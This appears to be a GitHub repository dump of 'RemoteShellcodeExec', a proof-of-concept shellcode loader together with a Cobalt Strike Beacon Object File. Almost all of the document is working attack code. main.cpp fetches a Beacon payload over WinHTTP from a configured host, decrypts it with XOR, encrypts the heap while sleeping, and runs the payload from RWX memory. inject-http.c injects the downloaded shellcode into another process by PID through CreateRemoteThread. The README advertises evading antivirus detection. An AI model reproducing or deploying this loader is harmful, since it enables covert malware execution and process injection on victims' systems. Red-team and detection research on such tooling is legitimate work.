├── BOF ├── README.md ├── beacon.h ├── inject-http.c ├── inject-http.cna └── makefile ├── README.md └── main.cpp /BOF/README.md: -------------------------------------------------------------------------------- 1 | # Inject-http BOF 2 | A custom `inject` function of Cobalt Strike, which injects the shellcode in a process by retrieving the shellcode from a remote HTTP server. 3 | 4 | ## Usage 5 | 6 | Make sure to change the values on `inject-http.c` (line 59): 7 | 8 | ``` 9 | //--------- CONFIGURE ----------- 10 | LPCWSTR remotehost = L"192.168.0.x"; //change to your IP 11 | int remoteport = 8081; //change to your port 12 | LPCWSTR remotedir = L"/beacon.bin"; //change to your directory of the hosted bin file 13 | //------------------------------- 14 | ``` 15 | 16 | Compile the script using `make`. 17 | ``` 18 | make 19 | ``` 20 | 21 | Then load `inject-http.cna` to Cobalt Strike. To run the BOF inside a Beacon: 22 | ``` 23 | beacon> inject-http 24 | ``` 25 | 26 | ## Demo 27 | 28 | ![wmi_in_action](https://github.com/kleiton0x00/RemoteShellcodeExec/assets/37262788/abc3b752-647f-4262-8fab-cedf631d4dda) 29 | -------------------------------------------------------------------------------- /BOF/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Additional BOF resources are available here: 8 | * - https://github.com/Cobalt-Strike/bof_template 9 | * 10 | * Cobalt Strike 4.x 11 | * ChangeLog: 12 | * 1/25/2022: updated for 4.5 13 | */ 14 | 15 | /* data API */ 16 | typedef struct { 17 | char * original; /* the original buffer [so we can free it] */ 18 | char * buffer; /* current pointer into our buffer */ 19 | int length; /* remaining length of data */ 20 | int size; /* total size of this buffer */ 21 | } datap; 22 | 23 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 24 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); 25 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 26 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 27 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 28 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 29 | 30 | /* format API */ 31 | typedef struct { 32 | char * original; /* the original buffer [so we can free it] */ 33 | char * buffer; /* current pointer into our buffer */ 34 | int length; /* remaining length of data */ 35 | int size; /* total size of this buffer */ 36 | } formatp; 37 | 38 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 39 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 40 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 41 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 42 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 43 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 44 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 45 | 46 | /* Output Functions */ 47 | #define CALLBACK_OUTPUT 0x0 48 | #define CALLBACK_OUTPUT_OEM 0x1e 49 | #define CALLBACK_OUTPUT_UTF8 0x20 50 | #define CALLBACK_ERROR 0x0d 51 | 52 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 53 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 54 | 55 | 56 | /* Token Functions */ 57 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 58 | DECLSPEC_IMPORT void BeaconRevertToken(); 59 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 60 | 61 | /* Spawn+Inject Functions */ 62 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 63 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 64 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 65 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); 66 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 67 | 68 | /* Utility Functions */ 69 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 70 | 71 | -------------------------------------------------------------------------------- /BOF/inject-http.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "beacon.h" 5 | 6 | DWORD calcBuff(DWORD buffSize, DWORD dwSize) { 7 | buffSize += dwSize; 8 | return buffSize; 9 | } 10 | 11 | LPVOID decrementBuffer(LPVOID pBuffer, DWORD dwSize) { 12 | LPBYTE pByte = (LPBYTE)pBuffer; 13 | pByte -= dwSize; 14 | LPVOID pNewBuffer = (LPVOID)pByte; 15 | return pNewBuffer; 16 | } 17 | 18 | LPVOID incrementBuffer(LPVOID pBuffer, unsigned long buffer) { 19 | LPBYTE pByte = (LPBYTE)pBuffer; 20 | pByte += buffer; 21 | LPVOID pNewBuffer = (LPVOID)pByte; 22 | return pNewBuffer; 23 | } 24 | 25 | //Function declarations 26 | DECLSPEC_IMPORT INT WINAPI USER32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT); 27 | 28 | DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 29 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); 30 | DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); 31 | DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); 32 | 33 | WINBASEAPI void *__cdecl MSVCRT$malloc(size_t size); 34 | WINBASEAPI void *__cdecl MSVCRT$free(void *memblock); 35 | WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); 36 | #define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size) 37 | 38 | DECLSPEC_IMPORT WINHTTPAPI HINTERNET WINHTTP$WinHttpOpen(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags); 39 | DECLSPEC_IMPORT WINHTTPAPI HINTERNET WINHTTP$WinHttpOpenRequest(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR *ppwszAcceptTypes, DWORD dwFlags); 40 | DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpSendRequest(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext); 41 | DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpReceiveResponse(HINTERNET hRequest, LPVOID lpReserved); 42 | DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpQueryDataAvailable(HINTERNET hRequest, LPDWORD lpdwNumberOfBytesAvailable); 43 | DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpReadData(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead); 44 | DECLSPEC_IMPORT WINHTTPAPI HINTERNET WINHTTP$WinHttpConnect(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved); 45 | DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpQueryHeaders(HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex); 46 | DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpCloseHandle(HINTERNET hInternet); 47 | 48 | //https://learn.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpconnect 49 | /* entry point */ 50 | void go(char * args, int length) { 51 | datap parser; 52 | int pid; 53 | 54 | BeaconDataParse(&parser, args, length); 55 | pid = BeaconDataInt(&parser); 56 | 57 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Injecting to PID: %d\n", pid); //WEIRD ERROR ON RETRIEVING THE PID 58 | 59 | //--------- CONFIGURE ----------- 60 | LPCWSTR remotehost = L"192.168.0.x"; //change to your IP 61 | int remoteport = 8081; //change to your port 62 | LPCWSTR remotedir = L"/beacon.bin"; //change to your directory of the hosted bin file 63 | //------------------------------- 64 | 65 | // Initialize variables 66 | LPVOID pBuffer; 67 | DWORD buffSize; 68 | LPVOID lpvAddr = 0; 69 | HINTERNET hInternet; 70 | HINTERNET hHttpSession; 71 | HINTERNET hHttpConnection; 72 | HINTERNET hHttpRequest; 73 | DWORD dwSize; 74 | BOOL bResults; 75 | DWORD dwStatus; 76 | DWORD dwStatusSize; 77 | DWORD dwDownloaded = 0; 78 | DWORD dwContentLength = 0; 79 | char* pszOutBuffer; 80 | 81 | // Initialize WinHTTP (change the first argument to a valid User-Agent instead) 82 | hInternet = WINHTTP$WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); 83 | BeaconPrintf(CALLBACK_OUTPUT, "[+] WinHTTP initialized\n"); 84 | 85 | // Connect to the HTTP server 86 | hHttpSession = WINHTTP$WinHttpConnect(hInternet, remotehost, remoteport, 0); 87 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Connected to HTTP Server\n"); 88 | 89 | // Open an HTTP request 90 | hHttpRequest = WINHTTP$WinHttpOpenRequest(hHttpSession, L"GET", remotedir, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); 91 | BeaconPrintf(CALLBACK_OUTPUT, "Sending HTTP GET Request\n"); 92 | 93 | // Send a request 94 | bResults = WINHTTP$WinHttpSendRequest(hHttpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); 95 | BeaconPrintf(CALLBACK_OUTPUT, "WinHTTP request sent\n"); 96 | 97 | // Wait for the response 98 | bResults = WINHTTP$WinHttpReceiveResponse(hHttpRequest, NULL); 99 | BeaconPrintf(CALLBACK_OUTPUT, "Response retrieved\n"); 100 | 101 | 102 | // Get the Length of the response. 103 | if (bResults) 104 | { 105 | DWORD dwHeaderSize = sizeof(DWORD); 106 | bResults = WINHTTP$WinHttpQueryHeaders(hHttpRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &dwContentLength, &dwHeaderSize, WINHTTP_NO_HEADER_INDEX); 107 | } 108 | 109 | HANDLE processHandle = KERNEL32$OpenProcess( 110 | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, 111 | FALSE, 112 | (DWORD)pid 113 | ); 114 | 115 | pBuffer = KERNEL32$VirtualAllocEx(processHandle, NULL, dwContentLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 116 | BeaconPrintf(CALLBACK_OUTPUT, "Buffer: %p\n", pBuffer); 117 | 118 | do 119 | { 120 | dwSize = 0; 121 | if (!WINHTTP$WinHttpQueryDataAvailable(hHttpRequest, &dwSize)) 122 | { 123 | 124 | BeaconPrintf(CALLBACK_OUTPUT, "Error in WinHttpQueryDataAvailable.\n"); 125 | } 126 | 127 | // Allocate space for the buffer. 128 | //pszOutBuffer = new char[dwSize + 1]; 129 | //this is the C version 130 | pszOutBuffer = (char*)MSVCRT$malloc(dwSize + 1); 131 | 132 | // No more available data 133 | if (!pszOutBuffer) { 134 | BeaconPrintf(CALLBACK_OUTPUT, "[-] No more available data"); 135 | dwSize = 0; 136 | } 137 | 138 | // Read the Data. 139 | intZeroMemory(pszOutBuffer, dwSize + 1); 140 | 141 | if (!WINHTTP$WinHttpReadData(hHttpRequest, (LPVOID)pszOutBuffer, 142 | dwSize, &dwDownloaded)) 143 | BeaconPrintf(CALLBACK_OUTPUT, "Error in WinHttpReadData.\n"); 144 | else 145 | // Copy the shellcode into it. 146 | KERNEL32$WriteProcessMemory(processHandle, pBuffer, (PVOID)pszOutBuffer, (SIZE_T)dwSize, (SIZE_T *)NULL); 147 | pBuffer = incrementBuffer(pBuffer, dwSize); 148 | buffSize = calcBuff(buffSize, dwSize); 149 | 150 | // Free the memory allocated to the buffer. 151 | //uncommented since it's a C++ thingy 152 | //delete[] pszOutBuffer; 153 | MSVCRT$free(pszOutBuffer); 154 | 155 | 156 | } while (dwSize > 0); 157 | 158 | pBuffer = decrementBuffer(pBuffer, buffSize); 159 | 160 | //Callback function to launch a thread on the buffer address 161 | KERNEL32$CreateRemoteThread(processHandle, NULL, 0, pBuffer, NULL, 0, NULL); 162 | 163 | //USER32$MessageBoxA(NULL, "4", "1", 0); 164 | 165 | // Close the HTTP request 166 | WINHTTP$WinHttpCloseHandle(hHttpRequest); 167 | 168 | // Close the session 169 | WINHTTP$WinHttpCloseHandle(hHttpSession); 170 | 171 | // Cleanup 172 | WINHTTP$WinHttpCloseHandle(hInternet); 173 | } 174 | 175 | -------------------------------------------------------------------------------- /BOF/inject-http.cna: -------------------------------------------------------------------------------- 1 | # Register help/usage for inject-http 2 | beacon_command_register( 3 | "RemoteShellcodeExec", 4 | "RemoteShellcodeExec: Retrieving payload over HTTP and injecting it in a remote process.", 5 | "\nUsage: inject-http PID\n". 6 | "\ncThreadHijack works by injecting raw Beacon shellcode which is retrieved by a remote HTTP server, into a remote process, defined by the user-supplied PID argument, via VirtualAllocEx and WriteProcessMemory. Then, spawn a new remote thread via CreateRemoteThread". 7 | "\nExample usage: inject-http 3564\n" 8 | ); 9 | 10 | alias inject-http { 11 | 12 | # Alias for Beacon ID and args 13 | local('$bid $listener $pid'); 14 | 15 | # Set the number of arguments 16 | ($bid, $pid) = @_; 17 | 18 | # Determine the amount of arguments 19 | if (size(@_) != 2) 20 | { 21 | berror($bid, "Error! Please enter a valid PID"); 22 | return; 23 | } 24 | 25 | # Read in the BOF 26 | $handle = openf(script_resource("inject-http.o")); 27 | $data = readb($handle, -1); 28 | closef($handle); 29 | 30 | # Verify PID is an integer 31 | if ((!-isnumber $pid) || (int($pid) <= 0)) 32 | { 33 | berror($bid, "Please enter a valid PID!\n"); 34 | return; 35 | } 36 | 37 | # Pack the arguments 38 | # 'i' is an integer 39 | $args = bof_pack($bid, "i", $pid); 40 | 41 | # Run the BOF 42 | # go = Entry point of the BOF 43 | beacon_inline_execute($bid, $data, "go", $args); 44 | } 45 | -------------------------------------------------------------------------------- /BOF/makefile: -------------------------------------------------------------------------------- 1 | CCX64 := x86_64-w64-mingw32-gcc 2 | CCX86 := i686-w64-mingw32-gcc 3 | 4 | OUTX64 := inject-http.o 5 | 6 | all: x64 7 | 8 | x64: 9 | @ echo Compiling the BOF... 10 | @ $(CCX64) -c inject-http.c -o $(OUTX64) 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RemoteShellcodeExec 2 | A simple PoC of executing shellcode from a remote-hosted bin file using Winhttp. This is demo of the relevant blog post: [Shellcodes are dead, long live fileless shellcodes](https://kleiton0x00.github.io/posts/Shellcodes-are-dead-long-live-fileless-shellcodes/). 3 | 4 | ## TL;DR 5 | - Executing the shellcode from a remote-hosted server, will make the executable file itself drastically reduce it's entropy. 6 | - Implemented a simple heap encryption, to avoid the shellcode being visible 7 | - Profit (0/26 detections) 8 | 9 | ## Demo 10 | https://user-images.githubusercontent.com/37262788/222574293-9dc8a0e5-0fe1-48bf-96c9-b7dc70a9898b.mp4 11 | 12 | ## Credits 13 | https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/ 14 | https://twitter.com/teamcymru_S2/status/1604091964386705409 15 | https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection 16 | -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #pragma comment(lib,"winhttp.lib") 9 | #pragma warning(disable:4996) 10 | 11 | typedef struct Params { 12 | LPVOID pBaseAddress; 13 | } PARAMS; 14 | 15 | typedef VOID(*fprun)(PARAMS pParams); 16 | 17 | void XOR(char* data, int len, unsigned char key) { 18 | int i; 19 | for (i = 0; i < len; i++) 20 | data[i] ^= key; 21 | } 22 | 23 | // Encryption Key 24 | const char key[2] = "A"; 25 | size_t keySize = sizeof(key); 26 | 27 | void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) { 28 | for (size_t i = 0; i < length; ++i) { 29 | buffer[i] ^= key[i % keyLength]; 30 | } 31 | } 32 | 33 | PROCESS_HEAP_ENTRY entry; 34 | void HeapEncryptDecrypt() { 35 | SecureZeroMemory(&entry, sizeof(entry)); 36 | while (HeapWalk(GetProcessHeap(), &entry)) { 37 | if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) { 38 | xor_bidirectional_encode(key, keySize, (char*)(entry.lpData), entry.cbData); 39 | } 40 | } 41 | } 42 | 43 | //https://learn.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpconnect 44 | int main() 45 | { 46 | //--------- CONFIGURE ----------- 47 | LPCWSTR remotehost = L"192.168.0.60"; //change to your IP 48 | int remoteport = 8081; //change to your port 49 | LPCWSTR remotedir = L"/beacon.bin"; //change to your directory of the hosted bin file 50 | unsigned char key = 0x7e; //change to your key 51 | //------------------------------- 52 | 53 | // Initialize variables 54 | HINTERNET hInternet; 55 | HINTERNET hHttpSession; 56 | HINTERNET hHttpConnection; 57 | HINTERNET hHttpRequest; 58 | DWORD dwSize; 59 | BOOL bResults; 60 | DWORD dwStatus; 61 | DWORD dwStatusSize; 62 | DWORD dwDownloaded = 0; 63 | LPSTR pszOutBuffer; 64 | std::vector PEbuffer; 65 | 66 | // Initialize WinHTTP (change the first argument to a valid User-Agent instead) 67 | hInternet = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); 68 | printf("[+] WinHTTP initialized\n"); 69 | 70 | // Connect to the HTTP server 71 | hHttpSession = WinHttpConnect(hInternet, remotehost, remoteport, 0); 72 | printf("[+] Connected to HTTP Server\n"); 73 | 74 | // Open an HTTP request 75 | hHttpRequest = WinHttpOpenRequest(hHttpSession, L"GET", remotedir, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); 76 | printf("[+] Sending HTTP GET Request\n"); 77 | 78 | // Send a request 79 | bResults = WinHttpSendRequest(hHttpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); 80 | printf("[+] WinHTTP request sent\n"); 81 | 82 | // Wait for the response 83 | bResults = WinHttpReceiveResponse(hHttpRequest, NULL); 84 | printf("[+] Response retrieved\n"); 85 | 86 | do 87 | { 88 | dwSize = 0; 89 | if (!WinHttpQueryDataAvailable(hHttpRequest, &dwSize)) 90 | { 91 | printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError()); 92 | } 93 | 94 | // Allocate space for the buffer. 95 | pszOutBuffer = new char[dwSize + 1]; 96 | 97 | // No more available data 98 | if (!pszOutBuffer) { 99 | printf("[-] No more available data"); 100 | dwSize = 0; 101 | } 102 | 103 | // Read the Data. 104 | ZeroMemory(pszOutBuffer, dwSize + 1); 105 | 106 | if (!WinHttpReadData(hHttpRequest, (LPVOID)pszOutBuffer, 107 | dwSize, &dwDownloaded)) 108 | printf("Error %u in WinHttpReadData.\n", GetLastError()); 109 | else 110 | PEbuffer.insert(PEbuffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded); 111 | 112 | } while (dwSize > 0); 113 | 114 | 115 | char* PE = (char*)malloc(PEbuffer.size()); 116 | for (int i = 0; i < PEbuffer.size(); i++) { 117 | PE[i] = PEbuffer[i] ^ 0x7e; //XOR encrypted 118 | } 119 | 120 | printf("[+] Encrypted shellcode allocated in heap\n"); 121 | 122 | // Set the base address of the current image. 123 | PARAMS pParams; 124 | pParams.pBaseAddress = (LPVOID)GetModuleHandleA(NULL); 125 | //printf("[+] Current image base address = 0x%p\n", pParams.pBaseAddress); 126 | LPVOID pBuffer = VirtualAlloc(NULL, PEbuffer.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 127 | if (NULL == pBuffer) { 128 | printf("[!] VirtualAlloc failed\n"); 129 | exit(1); 130 | } 131 | 132 | printf("[+] Allocated space for the buffer %p\n", pBuffer); 133 | XOR(PE, PEbuffer.size(), key); //decrypt the PE shellcode before writing to memory 134 | // Copy the shellcode into it. 135 | memcpy(pBuffer, PE, PEbuffer.size()); 136 | printf("[+] Shellcode decrypted and written\n"); 137 | 138 | //time for your creativity 139 | printf("[+] Encrypting the heap for 10 seconds\n"); 140 | HeapEncryptDecrypt(); 141 | Sleep(10); //create your own sleep patch instead 142 | printf("[+] Decrypting the heap\n"); 143 | HeapEncryptDecrypt(); 144 | 145 | // Make a function pointer to the run function shellcode. 146 | fprun Run = (fprun)pBuffer; 147 | Run(pParams); 148 | 149 | // Close the HTTP request 150 | WinHttpCloseHandle(hHttpRequest); 151 | 152 | // Close the session 153 | WinHttpCloseHandle(hHttpSession); 154 | 155 | // Cleanup 156 | WinHttpCloseHandle(hInternet); 157 | 158 | free(PE); 159 | 160 | return 0; 161 | } 162 | --------------------------------------------------------------------------------